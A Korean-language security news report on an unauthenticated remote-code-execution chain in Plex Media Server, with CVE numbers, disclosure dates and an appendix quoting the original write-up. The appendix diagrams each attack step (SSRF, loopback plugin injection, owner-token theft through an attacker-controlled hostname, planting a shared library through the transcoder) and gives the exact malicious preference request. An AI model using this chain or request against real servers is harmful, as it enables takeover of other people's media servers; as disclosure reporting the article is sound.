원문 캡처 · zmain.info
원문 캡처 · zmain.info

Plex Media Server(PMS)에서 인증 없이 서버 권한으로 원격 코드를 실행할 수 있는 취약점이 공개됐다. 공격자는 인터넷에 노출된 서버에 조작한 요청을 보내 관리자 토큰을 탈취하고, 미디어 변환 기능을 악용해 코드 실행까지 이어갈 수 있다고 보고됐다.

PMS는 집이나 클라우드 서버에서 개인 미디어를 스트리밍하는 소프트웨어로, 기본적으로 32400번 포트를 사용한다. 취약점 분석에 따르면 공격자는 유효하지 않은 토큰을 넣은 요청으로 시작해 서버가 자체 루프백 주소에 요청을 보내도록 유도한다. 이 요청을 통해 토큰 없이 접근 가능한 플러그인 API를 악용하고, 서버가 공격자에게 보내는 요청에 소유자 관리자 토큰을 붙이게 해 토큰을 탈취한다.

탈취한 토큰으로 공격자는 설정을 변경하고, 트랜스코더가 미디어를 처리하는 과정에서 조작된 공유 라이브러리를 코덱 디렉터리에 기록하게 할 수 있다. 이후 트랜스코더가 해당 라이브러리를 불러오면 코드가 uid=1000(plex) 권한으로 실행된다. 공개된 PoC는 공격자에게 역방향 셸을 연결하도록 구성돼 있다.

취약점 제보자는 Plex의 보안 프로그램을 통해 문제를 보고했고, Plex는 2026년 8월 4일 제보를 확인하고 포상금을 지급했다. CVE-2026-96652, CVE-2026-96654, CVE-2026-96655, CVE-2026-96656이 배정됐으며, 공개 시점은 2026년 10월 16일이다. 원문에는 수정 버전이나 패치 적용 방법이 제시되지 않았다.

분석 과정과 공격 체인의 상세 내용은 Plex2Shell 저장소에서 확인할 수 있다.

부록: 원문 예시

text
[attacker on the internet, junk token]         |    (1) /player/timeline  -- SSRF -->  server POSTs to itself on         |                              127.0.0.1         v    (2) /system/agents/.../searchOne  -- loopback-only plugin API,         |   now reachable because the request came from loopback         |   -> identifier= injection forges a call to any plugin function         v    (3) networking.py:149  -- the forged call targets GetResultFromNetwork         |   with a URL like http://127.0.0.1.<attacker>.sslip.io/...         |   the server sees "127.0.0.1" prefix, attaches the owner token,         |   then DNS resolves the hostname to the attacker's IP         v    attacker now holds an OWNER admin token         |    (4) /video/:/transcode/universal?path=<url>  -- with the owner token,         |   point the transcoder at an attacker-hosted carrier video         v    (5) TranscoderH264Options=dump-yuv  -- x264 writes the decoded frames         |   to an attacker-chosen path in the Codecs directory; the frames         |   are a bit-exact copy of the input, which is a shared object         |   -> next transcode dlopens it -> constructor runs         v    [code executes as uid=1000(plex)] 
text
PUT /:/prefs?TranscoderH264Options=dump-yuv=<codec dir>/x.so:qp=0